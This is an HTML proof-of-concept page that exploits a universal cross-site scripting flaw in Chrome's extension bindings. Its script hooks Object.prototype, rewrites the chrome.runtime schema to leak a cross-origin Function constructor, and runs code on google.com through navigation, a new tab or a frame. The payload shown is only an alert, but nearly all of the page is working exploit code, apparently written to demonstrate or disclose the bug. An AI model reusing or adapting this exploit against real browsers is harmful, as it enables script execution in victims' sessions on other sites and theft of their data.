<script>
function mutateSchema(schema) {
    var $Object = schema.constructor;
    var $Function = $Object.constructor;
    // If this assumption does not hold, then we have to do a bit more trickery with getters
    // so that the availability check in binding.js (addProperties) passes.
    console.assert('lastError' in schema.properties, 'Assuming that schema is runtime, and runtime.lastError is defined');
    // Any code in this Function runs in the singleton execution environment that persists across page loads.
    $Function('schema_dot_properties', `
            // This must be a property that passes GetAvailability(schema.namespace + "." + propertyName).
            // Luckily, we can recursively the same property name because the namespace is concatenated
            // with the property name, not the full object path.
            // So we can have something like runtime.lastError.lastError :)
            const WHITELISTED_PROP = 'lastError';
            schema_dot_properties[WHITELISTED_PROP] = {
                type: 'object',
                // This activates the branch that ultimately leaks an object from the page to our script.
                // We can then steal the Function constructor from that object and then run arbitrary code
                // through that.
                properties: {
                    [WHITELISTED_PROP]: {
                        $ref: 'StorageArea',
                        value: [],
                    },
                },
                get value() {
                    // Create a new one upon access to make sure that every page gets a
                    // new instance of the interceptor.
                    return new Proxy({}, {
                        set(target, propname, value, receiver) {
                            target[propname] = value;
                            if (propname === WHITELISTED_PROP && typeof value === 'object' && value !== null) {
                                // Yay, we now got a (possibly) cross-origin object.
                                var $$Function = value.constructor.constructor;
                                $$Function('alert("Hello " + document.URL + "  in " + navigator.userAgent)')();
                            }
                            return true;
                        },
                    });
                },
            };
            `)(schema.properties);
    schema.types.unshift({
        id: 'StorageArea',
        type: 'object',
        js_module: 'StorageArea',
        functions: [],
    });
    console.log('Overwritten scheme.');
}

// Call this function to leak the module.
function triggerSchemaModification() {
    // Once per page because the exploit hooks on the lazy initialization of chrome.runtime,
    // and after initializing it, it won't trigger again.
    if (triggerSchemaModification.runOncePerPageLoad)
        return;
    triggerSchemaModification.runOncePerPageLoad = true;
    var hooked = false;
    var intercepted = false;
    var runtimeintercepted = false;
    var alreadyintercepted = false;
    // Hook on the creation of Binding and modify the schema.
    //
    // function Binding(schema) {
    //   this.schema_ = schema;
    //   this.apiFunctions_ = new APIFunctions(schema.namespace);
    //   this.customEvent_ = null;
    //   this.customHooks_ = []; <------------ Hooking here.
    // };
    Object.defineProperty(Object.prototype, 'customHooks_', {
        configurable: true,
        get() {
            // customHooks_ has no value by default.
        },
        set(customHooks_) {
            if (customHooks_ === true) return; // Ignore devtools setter.

            var runHooks_ = this.runHooks_;
            console.assert(typeof runHooks_ === 'function', 'runHooks_ should be a function!');

            Object.defineProperties(this, {
                // Transparently assign the unavailableApiFunctions_, so that the behavior of
                // binding does not change unexpectedly.
                customHooks_: {
                    configurable: true,
                    writable: true,
                    enumerable: true,
                    value: customHooks_, 
                },
                // This is our evil stuff. The runHooks_ method gets a reference to the schema.
                runHooks_: {
                    enumerable: true,
                    get() {
                        hooked = true;
                        return function(mod, schema) {
                            intercepted = true;
                            if (!schema) {
                                // For Chrome 49-.
                                schema = this.schema_;
                            }
                            if (schema.namespace === 'runtime' && schema.types) {
                                runtimeintercepted = true;
                                if (schema.types[0].id === 'StorageArea') {
                                    console.log('Warning: Schema was already modified.');
                                    alreadyintercepted = true;
                                } else {
                                    console.log('Trying to overwrite scheme...');
                                    mutateSchema(schema);
                                }
                            }
                            return runHooks_.call(this, mod, schema);
                        };
                    },
                },
            });
        },
    });

    // Trigger the lazy module system.
    chrome.runtime;
    if (alreadyintercepted)
        return;  // This is fine, no need to check assertions.
    console.assert(hooked, 'hook should have been set up.');
    console.assert(intercepted, 'hook should have been called.');
    console.assert(runtimeintercepted, 'hook should have been called for the runtime schema');
}

function showUXSSAfterNavigation() {
    triggerSchemaModification();
    location.href = 'https://encrypted.google.com';
}

function showUXSSInNewTab() {
    triggerSchemaModification();
    window.open('https://encrypted.google.com');
}

function showUXSSInFrame() {
    triggerSchemaModification();
    var f = document.createElement('iframe');
    // Using data URLs in case google uses X-Frame-Options.
    f.src = 'data:text/html,<script>chrome.runtime;<\/script>data-URLs have a unique origin';
    document.body.appendChild(f);
}
</script>

The UXSS vulnerability persists until the current RenderThread is destroyed (e.g. by a process swap).
<br>
<button onclick="showUXSSAfterNavigation()">Show UXSS after navigation</button>
<button onclick="showUXSSInNewTab()">Show UXSS in new tab</button>
<button onclick="showUXSSInFrame()">Show UXSS in frame</button>
